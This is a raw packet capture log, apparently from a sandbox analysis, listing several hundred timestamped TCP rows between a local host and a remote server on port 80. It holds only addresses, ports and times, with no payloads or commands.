Dec 19, 2024 08:01:02.983989000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.984019041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.984899998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.984961033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.984973907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.984997034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.985846043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.985898018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.985918045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.985929966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.985961914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.986793995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.986835957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.986848116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.986874104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.987757921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.987799883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.987848043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.987859964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.987885952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.988790989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.988806009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.988816977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.988842964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.989659071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.989696980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.989705086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.989717007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.989754915 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.990669966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.990683079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.990695953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.990746975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.117531061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.117546082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.117558956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.117590904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.117916107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.117958069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.117969990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.117983103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.118015051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.118916035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.118927956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.118938923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.118988991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.119798899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.119854927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.119864941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.119865894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.119900942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.120758057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.120815039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.120856047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.154655933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.154757023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.154813051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.154891014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155090094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155101061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155136108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.155821085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155865908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155869007 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.155878067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.155916929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.156743050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.156908989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.156955957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.157345057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.157412052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.157423973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.157455921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.158345938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.158395052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.158402920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.158413887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.158444881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.159346104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.159377098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.159388065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.159419060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.160176992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.160223007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.160233021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.160320044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.161129951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.161179066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.161195040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.161250114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.162110090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.162138939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.162151098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.162162066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.162183046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.163031101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.163079977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.163090944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.163125992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.164031982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.164047956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.164060116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.164125919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.164907932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.164978981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.164989948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.165025949 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.165920973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.165960073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.165971994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.165972948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.166002035 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.166851044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.166878939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.166889906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.166920900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.167797089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.167845964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.167850018 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.167857885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.167898893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.168735981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.168780088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.168792009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.168834925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.169696093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.169760942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.169771910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.169811010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.170631886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.170701981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.170712948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.170744896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.171572924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.171624899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.171627045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.171638966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.171668053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.172540903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.172605991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.172616959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.172656059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.173480988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.173501968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.173513889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.173543930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.173561096 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.174514055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.174525976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.174536943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.174571991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.175376892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.175424099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.175431967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.175443888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.175477028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.176409960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.176664114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.176717043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.176728964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.176754951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.176784992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.177719116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.177799940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.177810907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.177839041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.178581953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.178634882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.178646088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.178689003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.179481983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.179529905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.179542065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.179570913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.180445910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.180486917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.180489063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.180500984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.180535078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.181441069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.181479931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.181489944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.181524992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.182364941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.182420969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.182431936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.182454109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.182482958 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.183347940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.183437109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.183485031 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.309837103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.309864998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.309884071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.309931993 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.309973955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.310022116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.310189962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.310214043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.310226917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.310254097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.311218977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.311254025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.311288118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.311290026 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.311333895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.312156916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.312191010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.312226057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.312237978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.313031912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.313083887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.347225904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347265005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347301960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347367048 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.347573042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347609043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347644091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.347657919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.347686052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.348510981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.348568916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.348603010 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.348654985 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.349477053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.349523067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.349545002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.349579096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.349692106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.350434065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.350487947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.350522995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.350570917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.351413965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.351449013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.351464987 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.351483107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.351581097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.352329016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.352382898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.352417946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.352462053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.353247881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.353283882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.353310108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.353317976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.353387117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.354326963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.354362011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.354403973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.354449034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.355168104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.355211973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.355237961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.355273962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.355323076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.356122017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.356158018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.356192112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.356221914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.357085943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.357134104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.357203007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.357237101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.357328892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.357970953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.358025074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.358058929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.358091116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.358922958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.358978033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.359015942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.359041929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.359067917 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.359849930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.359908104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.359942913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.359972954 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.360820055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.360863924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.360877991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.360912085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.360959053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.361773014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.361846924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.361881971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.361929893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.362713099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.362761021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.362817049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.362853050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.362895966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.363770962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.363827944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.363863945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.363936901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.364623070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.364662886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.364679098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.364716053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.364767075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.365567923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.365622044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.365655899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.365710020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.366523981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.366579056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.366599083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.366617918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.366772890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.367532969 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.367567062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.367603064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.367871046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.368417025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.368470907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.368720055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.368773937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.368844986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.368845940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.369669914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.369715929 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.369723082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.369772911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.369838953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.370645046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.370707989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.370743036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.370783091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.371573925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.371623039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.371627092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.371663094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.371706009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.372541904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.372596025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.372629881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:03.372638941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:03.373481035 CET	80	49739	194.87.47.113	192.168.2.9
